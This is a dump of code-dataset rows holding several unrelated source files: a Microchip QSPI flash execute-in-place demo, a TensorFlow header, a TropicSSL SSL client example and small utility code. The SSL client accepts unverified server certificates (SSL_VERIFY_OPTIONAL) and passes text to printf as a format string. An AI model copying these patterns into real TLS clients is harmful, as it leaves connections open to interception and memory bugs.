hexsha stringlengths 40 40 | size int64 5 2.72M | ext stringclasses 5
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 976 | max_stars_repo_name stringlengths 5 113 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count float64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringdate 2015-01-01 00:01:43 2022-03-31 23:59:48 ⌀ | max_stars_repo_stars_event_max_datetime stringdate 2015-01-01 00:06:24 2022-03-31 23:59:53 ⌀ | max_issues_repo_path stringlengths 3 976 | max_issues_repo_name stringlengths 5 116 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count float64 1 134k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 976 | max_forks_repo_name stringlengths 5 116 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count float64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringdate 2015-01-01 00:01:19 2022-03-31 23:59:49 ⌀ | max_forks_repo_forks_event_max_datetime stringdate 2015-01-03 12:00:57 2022-03-31 23:59:49 ⌀ | content stringlengths 5 2.72M | avg_line_length float64 1.38 573k | max_line_length int64 2 1.01M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
bd0eae4684f2e89a16eaa307ce83a11fe1854aac | 19,085 | c | C | apps/qspi/qspi_xip/xip_main/firmware/src/app.c | zhuyi7891/csp | d61c00a0c2d9375860eb165900ee9ef369db5161 | [
"0BSD"
] | null | null | null | apps/qspi/qspi_xip/xip_main/firmware/src/app.c | zhuyi7891/csp | d61c00a0c2d9375860eb165900ee9ef369db5161 | [
"0BSD"
] | null | null | null | apps/qspi/qspi_xip/xip_main/firmware/src/app.c | zhuyi7891/csp | d61c00a0c2d9375860eb165900ee9ef369db5161 | [
"0BSD"
] | 1 | 2019-09-02T01:57:39.000Z | 2019-09-02T01:57:39.000Z | /*******************************************************************************
Application Source File
Company:
Microchip Technology Inc.
File Name:
app.c
Summary:
This file contains the source code for QSPI PLIB Demonstration
Description:
This file contains the source code for QSPI PLIB Demonstration.
It implements the logic of Erasing, reading and writing to QSPI Flash memory
*******************************************************************************/
//DOM-IGNORE-BEGIN
/*******************************************************************************
* Copyright (C) 2018 Microchip Technology Inc. and its subsidiaries.
*
* Subject to your compliance with these terms, you may use Microchip software
* and any derivatives exclusively with Microchip products. It is your
* responsibility to comply with third party license terms applicable to your
* use of third party software (including open source software) that may
* accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
* EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED
* WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A
* PARTICULAR PURPOSE.
*
* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
* INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
* WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS
* BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE
* FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN
* ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*******************************************************************************/
//DOM-IGNORE-END
// *****************************************************************************
// *****************************************************************************
// Section: Included Files
// *****************************************************************************
// *****************************************************************************
#include "app.h"
#include "xip_image_pattern_hex.h"
// *****************************************************************************
// *****************************************************************************
// Section: Global Data Definitions
// *****************************************************************************
// *****************************************************************************
#define BUFFER_SIZE sizeof(xip_image_pattern)
// *****************************************************************************
/* Application Data
Summary:
Holds application data
Description:
This structure holds the application's data.
Remarks:
This structure should be initialized by the APP_Initialize function.
Application strings and buffers are be defined outside this structure.
*/
APP_DATA appData;
static uint32_t write_index = 0;
qspi_command_xfer_t qspi_command_xfer = { 0 };
qspi_register_xfer_t qspi_register_xfer = { 0 };
qspi_memory_xfer_t qspi_memory_xfer = { 0 };
uint8_t *read_memory = (uint8_t *)(QSPIMEM_ADDR | MEM_ADDRESS );
uint32_t __start_sp;
uint32_t (*__start_new)(void);
uint32_t xip_image_buffer[4];
// *****************************************************************************
// *****************************************************************************
// Section: Application Callback Functions
// *****************************************************************************
// *****************************************************************************
/* TODO: Add any necessary callback functions.
*/
// *****************************************************************************
// *****************************************************************************
// Section: Application Local Functions
// *****************************************************************************
// *****************************************************************************
/* This function resets the flash by sending down the reset enable command
* followed by the reset command. */
static APP_TRANSFER_STATUS APP_ResetFlash(void)
{
memset((void *)&qspi_command_xfer, 0, sizeof(qspi_command_xfer_t));
qspi_command_xfer.instruction = SST26_CMD_FLASH_RESET_ENABLE;
qspi_command_xfer.width = SINGLE_BIT_SPI;
if (QSPI_CommandWrite(&qspi_command_xfer, 0) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
qspi_command_xfer.instruction = SST26_CMD_FLASH_RESET;
qspi_command_xfer.width = SINGLE_BIT_SPI;
if (QSPI_CommandWrite(&qspi_command_xfer, 0) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Disables the QUAD IO on the flash */
static APP_TRANSFER_STATUS APP_DisableQuadIO(void)
{
memset((void *)&qspi_command_xfer, 0, sizeof(qspi_command_xfer_t));
qspi_command_xfer.instruction = SST26_CMD_RESET_QUAD_IO;
qspi_command_xfer.width = QUAD_CMD;
if (QSPI_CommandWrite(&qspi_command_xfer, 0) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Enables the QUAD IO on the flash */
static APP_TRANSFER_STATUS APP_EnableQuadIO(void)
{
memset((void *)&qspi_command_xfer, 0, sizeof(qspi_command_xfer_t));
qspi_command_xfer.instruction = SST26_CMD_ENABLE_QUAD_IO;
qspi_command_xfer.width = SINGLE_BIT_SPI;
if (QSPI_CommandWrite(&qspi_command_xfer, 0) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Sends Write Enable command to flash */
static APP_TRANSFER_STATUS APP_WriteEnable(void)
{
memset((void *)&qspi_command_xfer, 0, sizeof(qspi_command_xfer_t));
qspi_command_xfer.instruction = SST26_CMD_WRITE_ENABLE;
qspi_command_xfer.width = QUAD_CMD;
if (QSPI_CommandWrite(&qspi_command_xfer, 0) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* This function sends down command to perform a global unprotect of the flash. */
static APP_TRANSFER_STATUS APP_UnlockFlash(void)
{
if (APP_TRANSFER_COMPLETED != APP_WriteEnable())
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
memset((void *)&qspi_command_xfer, 0, sizeof(qspi_command_xfer_t));
qspi_command_xfer.instruction = SST26_CMD_UNPROTECT_GLOBAL;
qspi_command_xfer.width = QUAD_CMD;
if (QSPI_CommandWrite(&qspi_command_xfer, 0) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* This function reads and stores the flash id. */
static APP_TRANSFER_STATUS APP_ReadJedecId(uint32_t *jedec_id)
{
memset((void *)&qspi_register_xfer, 0, sizeof(qspi_register_xfer_t));
qspi_register_xfer.instruction = SST26_CMD_QUAD_JEDEC_ID_READ;
qspi_register_xfer.width = QUAD_CMD;
qspi_register_xfer.dummy_cycles = 2;
if (QSPI_RegisterRead(&qspi_register_xfer, jedec_id, 3) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Function to read the status register of the flash. */
static APP_TRANSFER_STATUS APP_ReadStatus( uint32_t *rx_data, uint32_t rx_data_length )
{
memset((void *)&qspi_register_xfer, 0, sizeof(qspi_register_xfer_t));
qspi_register_xfer.instruction = SST26_CMD_READ_STATUS_REG;
qspi_register_xfer.width = QUAD_CMD;
qspi_register_xfer.dummy_cycles = 2;
if (QSPI_RegisterRead(&qspi_register_xfer, rx_data, rx_data_length) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Function to read the configuration register of the flash. */
static APP_TRANSFER_STATUS APP_ReadConfig( uint32_t *rx_data, uint32_t rx_data_length )
{
memset((void *)&qspi_register_xfer, 0, sizeof(qspi_register_xfer_t));
qspi_register_xfer.instruction = SST26_CMD_READ_CONFIG_REG;
qspi_register_xfer.width = QUAD_CMD;
qspi_register_xfer.dummy_cycles = 2;
if (QSPI_RegisterRead(&qspi_register_xfer, rx_data, rx_data_length) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
static APP_TRANSFER_STATUS APP_GetConfig(uint16_t *config)
{
uint8_t reg_status = 0;
uint8_t reg_config = 0;
if (APP_ReadStatus((uint32_t *)®_status, 1) != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
if (APP_ReadConfig((uint32_t *)®_config, 1) != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
*config = (reg_status | (reg_config << 8));
return APP_TRANSFER_COMPLETED;
}
/* Function to write to configuration register of the flash. */
static APP_TRANSFER_STATUS APP_WriteConfig(uint16_t *config)
{
if (APP_WriteEnable() != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
memset((void *)&qspi_register_xfer, 0, sizeof(qspi_register_xfer_t));
qspi_register_xfer.instruction = SST26_CMD_WRITE_CONFIG_REG;
qspi_register_xfer.width = QUAD_CMD;
if (QSPI_RegisterWrite(&qspi_register_xfer, (uint32_t *)config, 2) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Checks for any pending transfers Erase/Write */
static APP_TRANSFER_STATUS APP_TransferStatusCheck(void)
{
uint8_t reg_status = 0;
if (APP_ReadStatus((uint32_t *)®_status, 1) != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
if(reg_status & (1<<0))
return APP_TRANSFER_BUSY;
else
return APP_TRANSFER_COMPLETED;
}
/* Reads n Bytes of data from the flash memory */
static APP_TRANSFER_STATUS APP_MemoryRead( uint32_t *rx_data, uint32_t rx_data_length, uint32_t address )
{
memset((void *)&qspi_memory_xfer, 0, sizeof(qspi_memory_xfer_t));
qspi_memory_xfer.instruction = SST26_CMD_HIGH_SPEED_READ;
qspi_memory_xfer.width = QUAD_CMD;
qspi_memory_xfer.dummy_cycles = 6;
if (QSPI_MemoryRead(&qspi_memory_xfer, rx_data, rx_data_length, address) == false) {
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Reads n Bytes of data from the flash memory */
static APP_TRANSFER_STATUS APP_MemoryReadContinuous( uint32_t address )
{
uint32_t data;
uint16_t config = 0;
if (APP_GetConfig(&config) != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
config |= (SET_IOC_BIT << 8);
if (APP_WriteConfig(&config) != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
if (APP_DisableQuadIO() != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
memset((void *)&qspi_memory_xfer, 0, sizeof(qspi_memory_xfer_t));
qspi_memory_xfer.instruction = SST26_CMD_QUADIO_READ;
qspi_memory_xfer.option = 0xA;
qspi_memory_xfer.width = QUAD_IO;
qspi_memory_xfer.dummy_cycles = 5;
qspi_memory_xfer.option_en = true;
qspi_memory_xfer.option_len = OPTL_4_BIT;
qspi_memory_xfer.continuous_read_en = true;
if (QSPI_MemoryRead(&qspi_memory_xfer, &data, 1, address) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Writes n Bytes of data to the flash memory */
static APP_TRANSFER_STATUS APP_MemoryWrite( uint32_t *tx_data, uint32_t tx_data_length, uint32_t address )
{
if (APP_WriteEnable() != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
memset((void *)&qspi_memory_xfer, 0, sizeof(qspi_memory_xfer_t));
qspi_memory_xfer.instruction = SST26_CMD_PAGE_PROGRAM;
qspi_memory_xfer.width = QUAD_CMD;
if (QSPI_MemoryWrite(&qspi_memory_xfer, tx_data, tx_data_length, address) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
/* Sends Erase command to flash */
static APP_TRANSFER_STATUS APP_Erase(uint8_t instruction, uint32_t address)
{
if (APP_WriteEnable() != APP_TRANSFER_COMPLETED)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
qspi_command_xfer.instruction = instruction;
qspi_command_xfer.width = QUAD_CMD;
qspi_command_xfer.addr_en = 1;
if (QSPI_CommandWrite(&qspi_command_xfer, address) == false)
{
return APP_TRANSFER_ERROR_UNKNOWN;
}
return APP_TRANSFER_COMPLETED;
}
static APP_TRANSFER_STATUS APP_BulkErase(uint32_t address)
{
return (APP_Erase(SST26_CMD_BULK_ERASE_64K, address));
}
// *****************************************************************************
// *****************************************************************************
// Section: Application Initialization and State Machine Functions
// *****************************************************************************
// *****************************************************************************
/*******************************************************************************
Function:
void APP_Initialize ( void )
Remarks:
See prototype in app.h.
*/
void APP_Initialize ( void )
{
/* Place the App state machine in its initial state. */
appData.state = APP_STATE_INIT;
LED_OFF();
SYSTICK_TimerStart();
SYSTICK_DelayMs(1000);
}
/******************************************************************************
Function:
void APP_Tasks ( void )
Remarks:
See prototype in app.h.
*/
void APP_Tasks ( void )
{
uint32_t idx;
/* Check the application's current state. */
switch ( appData.state )
{
/* Application's initial state. */
case APP_STATE_INIT:
{
appData.state = APP_STATE_RESET_FLASH;
}
case APP_STATE_RESET_FLASH:
{
if (APP_ResetFlash() != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
}
else
{
appData.state = APP_STATE_ENABLE_QUAD_IO;
}
break;
}
case APP_STATE_ENABLE_QUAD_IO:
{
if (APP_EnableQuadIO() != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
}
else
{
appData.state = APP_STATE_UNLOCK_FLASH;
}
break;
}
case APP_STATE_UNLOCK_FLASH:
{
if (APP_UnlockFlash() != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
}
else
{
appData.state = APP_STATE_READ_JEDEC_ID;
}
break;
}
case APP_STATE_READ_JEDEC_ID:
{
if (APP_ReadJedecId(&appData.jedec_id) != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
break;
}
if (appData.jedec_id != SST26VF032B_JEDEC_ID)
{
appData.state = APP_STATE_ERROR;
break;
}
appData.state = APP_STATE_ERASE_FLASH;
break;
}
case APP_STATE_ERASE_FLASH:
{
if (APP_BulkErase(MEM_ADDRESS) != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
break;
}
appData.state = APP_STATE_ERASE_WAIT;
break;
}
case APP_STATE_ERASE_WAIT:
{
if (APP_TransferStatusCheck() == APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_WRITE_MEMORY;
}
break;
}
case APP_STATE_WRITE_MEMORY:
{
if (APP_MemoryWrite((uint32_t *)&xip_image_pattern[write_index], PAGE_SIZE, (MEM_ADDRESS + write_index)) != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
break;
}
appData.state = APP_STATE_WRITE_WAIT;
break;
}
case APP_STATE_WRITE_WAIT:
{
if (APP_TransferStatusCheck() == APP_TRANSFER_COMPLETED)
{
write_index += PAGE_SIZE;
if (write_index < BUFFER_SIZE)
{
appData.state = APP_STATE_WRITE_MEMORY;
}
else
{
appData.state = APP_STATE_READ_MEMORY;
}
}
break;
}
case APP_STATE_READ_MEMORY:
{
if (APP_MemoryRead((uint32_t *)&xip_image_buffer[0], sizeof(xip_image_buffer), MEM_ADDRESS) != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
break;
}
appData.state = APP_STATE_READ_CONTINUOUS;
break;
}
case APP_STATE_READ_CONTINUOUS:
{
appData.state = APP_STATE_SUCCESS;
if (APP_MemoryReadContinuous(MEM_ADDRESS) != APP_TRANSFER_COMPLETED)
{
appData.state = APP_STATE_ERROR;
break;
}
for (idx = 0; idx < BUFFER_SIZE; idx++)
{
if(*(read_memory) != xip_image_pattern[idx])
{
appData.state = APP_STATE_ERROR;
break;
}
read_memory++;
}
break;
}
case APP_STATE_SUCCESS:
{
/* Set PC and SP of the XIP Image application programmed in QSPI Flash memory*/
/* Pointer to Reset Handler of the XIP Image Application */
__start_new = (uint32_t(*) (void)) xip_image_buffer[1];
__start_sp = xip_image_buffer[0];
__set_MSP(__start_sp);
/* Rebase the vector table base address */
SCB->VTOR = ((uint32_t) QSPIMEM_ADDR & SCB_VTOR_TBLOFF_Msk);
/* Run XIP Image Application */
__start_new();
/* Should never reach here */
break;
}
case APP_STATE_ERROR:
default:
LED_ON();
}
}
/*******************************************************************************
End of File
*/
| 30.150079 | 144 | 0.558763 |
bd0f432134f6e7741180918187e5908330ff1368 | 1,776 | h | C | tensorflow/core/graph/control_flow.h | jhabikal21/tensorflow | 98d20962172301385aae694141801a375debd2bc | [
"Apache-2.0"
] | null | null | null | tensorflow/core/graph/control_flow.h | jhabikal21/tensorflow | 98d20962172301385aae694141801a375debd2bc | [
"Apache-2.0"
] | null | null | null | tensorflow/core/graph/control_flow.h | jhabikal21/tensorflow | 98d20962172301385aae694141801a375debd2bc | [
"Apache-2.0"
] | null | null | null | /* Copyright 2016 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_GRAPH_CONTROL_FLOW_H_
#define TENSORFLOW_GRAPH_CONTROL_FLOW_H_
#include <vector>
#include "tensorflow/core/graph/graph.h"
#include "tensorflow/core/lib/core/status.h"
namespace tensorflow {
// Control flow info for a graph node.
struct ControlFlowInfo {
const Node* frame = nullptr; // frame of a node
const Node* parent_frame = nullptr; // parent frame of a node
string frame_name; // frame name of a node
};
// Assign to each node the name of the frame and the level it belongs to.
// We check the well-formedness of the graph: All inputs to a node must
// come from the same frame and have the same "static" iteration level.
// `info` is cleared and populated by this function.
// NOTE (yuanbyu): For now, we require all sends/recvs have iteration level id:1970 gh:1971
// 0. This essentially means there can't be multiple serial Nexts in
// an iteration, which all sane front-ends should satisfy.
Status BuildControlFlowInfo(Graph* g, std::vector<ControlFlowInfo>* info);
} // namespace tensorflow
#endif // TENSORFLOW_GRAPH_CONTROL_FLOW_H_
| 39.466667 | 91 | 0.724099 |
bd0f4edac4baf079fba31e86b39bf244cd8ecc79 | 7,006 | c | C | programs/ssl/ssl_client2.c | axic/tropicssl | 6a6997f0f233209d3b1d811db234fdf37d4d055a | [
"BSD-3-Clause"
] | 15 | 2015-02-26T16:59:33.000Z | 2019-09-23T01:50:40.000Z | programs/ssl/ssl_client2.c | travelping/tropicssl | 6a6997f0f233209d3b1d811db234fdf37d4d055a | [
"BSD-3-Clause"
] | null | null | null | programs/ssl/ssl_client2.c | travelping/tropicssl | 6a6997f0f233209d3b1d811db234fdf37d4d055a | [
"BSD-3-Clause"
] | 10 | 2015-02-22T05:09:26.000Z | 2020-06-15T19:21:38.000Z | /*
* SSL client with certificate authentication
*
* Based on XySSL: Copyright (C) 2006-2008 Christophe Devine
*
* Copyright (C) 2009 Paul Bakker <polarssl_maintainer at polarssl dot org>
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the names of PolarSSL or XySSL nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE 1
#endif
#include <string.h>
#include <stdio.h>
#include "tropicssl/net.h"
#include "tropicssl/ssl.h"
#include "tropicssl/havege.h"
#include "tropicssl/certs.h"
#include "tropicssl/x509.h"
#define SERVER_PORT 443
/*
#define SERVER_NAME "localhost"
#define GET_REQUEST "GET / HTTP/1.0\r\n\r\n"
*/
#define SERVER_NAME "tropicssl.org"
#define GET_REQUEST \
"GET /hello/ HTTP/1.1\r\n" \
"Host: tropicssl.org\r\n\r\n"
#define DEBUG_LEVEL 0
void my_debug(void *ctx, int level, char *str)
{
if (level < DEBUG_LEVEL) {
fprintf((FILE *) ctx, "%s", str);
fflush((FILE *) ctx);
}
}
int main(void)
{
int ret, len, server_fd;
unsigned char buf[1024];
havege_state hs;
ssl_context ssl;
ssl_session ssn;
x509_cert cacert;
x509_cert clicert;
rsa_context rsa;
/*
* 0. Initialize the RNG and the session data
*/
havege_init(&hs);
memset(&ssn, 0, sizeof(ssl_session));
/*
* 1.1. Load the trusted CA
*/
printf("\n . Loading the CA root certificate ...");
fflush(stdout);
memset(&cacert, 0, sizeof(x509_cert));
/*
* Alternatively, you may load the CA certificates from a .pem or
* .crt file by calling x509parse_crtfile( &cacert, "myca.crt" ).
*/
ret = x509parse_crt(&cacert, (unsigned char *)xyssl_ca_crt,
strlen(xyssl_ca_crt));
if (ret != 0) {
printf(" failed\n ! x509parse_crt returned %d\n\n", ret);
goto exit;
}
printf(" ok\n");
/*
* 1.2. Load own certificate and private key
*
* (can be skipped if client authentication is not required)
*/
printf(" . Loading the client cert. and key...");
fflush(stdout);
memset(&clicert, 0, sizeof(x509_cert));
ret = x509parse_crt(&clicert, (unsigned char *)test_cli_crt,
strlen(test_cli_crt));
if (ret != 0) {
printf(" failed\n ! x509parse_crt returned %d\n\n", ret);
goto exit;
}
ret = x509parse_key(&rsa, (unsigned char *)test_cli_key,
strlen(test_cli_key), NULL, 0);
if (ret != 0) {
printf(" failed\n ! x509parse_key returned %d\n\n", ret);
goto exit;
}
printf(" ok\n");
/*
* 2. Start the connection
*/
printf(" . Connecting to tcp/%s/%-4d...", SERVER_NAME, SERVER_PORT);
fflush(stdout);
if ((ret = net_connect(&server_fd, SERVER_NAME, SERVER_PORT)) != 0) {
printf(" failed\n ! net_connect returned %d\n\n", ret);
goto exit;
}
printf(" ok\n");
/*
* 3. Setup stuff
*/
printf(" . Setting up the SSL/TLS structure...");
fflush(stdout);
havege_init(&hs);
if ((ret = ssl_init(&ssl)) != 0) {
printf(" failed\n ! ssl_init returned %d\n\n", ret);
goto exit;
}
printf(" ok\n");
ssl_set_endpoint(&ssl, SSL_IS_CLIENT);
ssl_set_authmode(&ssl, SSL_VERIFY_OPTIONAL);
ssl_set_rng(&ssl, havege_rand, &hs);
ssl_set_bio(&ssl, net_recv, &server_fd, net_send, &server_fd);
ssl_set_ciphers(&ssl, ssl_default_ciphers);
ssl_set_session(&ssl, 1, 600, &ssn);
ssl_set_ca_chain(&ssl, &cacert, SERVER_NAME);
ssl_set_own_cert(&ssl, &clicert, &rsa);
ssl_set_hostname(&ssl, SERVER_NAME);
/*
* 4. Handshake
*/
printf(" . Performing the SSL/TLS handshake...");
fflush(stdout);
while ((ret = ssl_handshake(&ssl)) != 0) {
if (ret != TROPICSSL_ERR_NET_TRY_AGAIN) {
printf(" failed\n ! ssl_handshake returned %d\n\n",
ret);
goto exit;
}
}
printf(" ok\n [ Cipher is %s ]\n", ssl_get_cipher(&ssl));
/*
* 5. Verify the server certificate
*/
printf(" . Verifying peer X.509 certificate...");
if ((ret = ssl_get_verify_result(&ssl)) != 0) {
printf(" failed\n");
if ((ret & BADCERT_EXPIRED) != 0)
printf(" ! server certificate has expired\n");
if ((ret & BADCERT_REVOKED) != 0)
printf(" ! server certificate has been revoked\n");
if ((ret & BADCERT_CN_MISMATCH) != 0)
printf(" ! CN mismatch (expected CN=%s)\n",
SERVER_NAME);
if ((ret & BADCERT_NOT_TRUSTED) != 0)
printf
(" ! self-signed or not signed by a trusted CA\n");
printf("\n");
} else
printf(" ok\n");
printf(" . Peer certificate information ...\n");
printf(x509parse_cert_info(" ", ssl.peer_cert));
/*
* 6. Write the GET request
*/
printf(" > Write to server:");
fflush(stdout);
len = sprintf((char *)buf, GET_REQUEST);
while ((ret = ssl_write(&ssl, buf, len)) <= 0) {
if (ret != TROPICSSL_ERR_NET_TRY_AGAIN) {
printf(" failed\n ! ssl_write returned %d\n\n", ret);
goto exit;
}
}
len = ret;
printf(" %d bytes written\n\n%s", len, (char *)buf);
/*
* 7. Read the HTTP response
*/
printf(" < Read from server:");
fflush(stdout);
do {
len = sizeof(buf) - 1;
memset(buf, 0, sizeof(buf));
ret = ssl_read(&ssl, buf, len);
if (ret == TROPICSSL_ERR_NET_TRY_AGAIN)
continue;
if (ret == TROPICSSL_ERR_SSL_PEER_CLOSE_NOTIFY)
break;
if (ret <= 0) {
printf("failed\n ! ssl_read returned %d\n\n", ret);
break;
}
len = ret;
printf(" %d bytes read\n\n%s", len, (char *)buf);
}
while (0);
ssl_close_notify(&ssl);
exit:
net_close(server_fd);
x509_free(&clicert);
x509_free(&cacert);
rsa_free(&rsa);
ssl_free(&ssl);
memset(&ssl, 0, sizeof(ssl));
#ifdef WIN32
printf(" + Press Enter to exit this program.\n");
fflush(stdout);
getchar();
#endif
return (ret);
}
| 24.582456 | 80 | 0.663431 |
bd0f83c45b6e36fefc0495ab10726eaf084614a2 | 159 | c | C | src/mx_isalpha.c | pashachernushenko/libmx | e2571cb92468e1da17dd15d6d1ee28dc27c121d4 | [
"MIT"
] | null | null | null | src/mx_isalpha.c | pashachernushenko/libmx | e2571cb92468e1da17dd15d6d1ee28dc27c121d4 | [
"MIT"
] | null | null | null | src/mx_isalpha.c | pashachernushenko/libmx | e2571cb92468e1da17dd15d6d1ee28dc27c121d4 | [
"MIT"
] | 1 | 2021-03-25T17:49:40.000Z | 2021-03-25T17:49:40.000Z | #include "libmx.h"
bool mx_isalpha(int c) {
if ( (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') )
return true;
else
return false;
}
| 17.666667 | 59 | 0.415094 |
bd0fa7ca0983b728b373e719208c3667e869612d | 762 | h | C | MATH(S)solution/MATH(S)/Vect4.h | Cyan-Coder/MATH-S- | bd4f2e5c38ad2067dcfd1af56cc1730e58237c73 | [
"MIT"
] | 4 | 2019-01-11T13:45:29.000Z | 2020-10-12T18:45:47.000Z | MATH(S)solution/MATH(S)/Vect4.h | Cyan-Coder/MATH-S- | bd4f2e5c38ad2067dcfd1af56cc1730e58237c73 | [
"MIT"
] | null | null | null | MATH(S)solution/MATH(S)/Vect4.h | Cyan-Coder/MATH-S- | bd4f2e5c38ad2067dcfd1af56cc1730e58237c73 | [
"MIT"
] | null | null | null | #pragma once
#include <iostream>
namespace maths { namespace vector {
struct vect4 {
double x, y, z, w;
vect4();
vect4(const double& x, const double& y, const double& z, const double& w);
vect4 add(const vect4& b);
vect4 sub(const vect4& b);
double dot(const vect4& b);
vect4 scale(const double& scale);
vect4 translate(const double& cx, const double& cy, const double& cz, const double& cw);
friend vect4 operator+(vect4 a, const vect4& b);
friend vect4 operator-(vect4 a, const vect4& b);
friend vect4 operator*(vect4& v, const double& s);
friend double operator*(const vect4& a, const vect4& b);
friend std::ostream& operator<<(std::ostream& stream, const vect4& vector);
};
}; }; | 27.214286 | 92 | 0.643045 |
bd123b3911d4d95f047b4779420e1bae840942fe | 19,855 | h | C | MMVII/include/MMVII_Images.h | dronemapper-io/micmac | d15d33de48a76575b6555399bc3bf9d89e31baa2 | [
"CECILL-B"
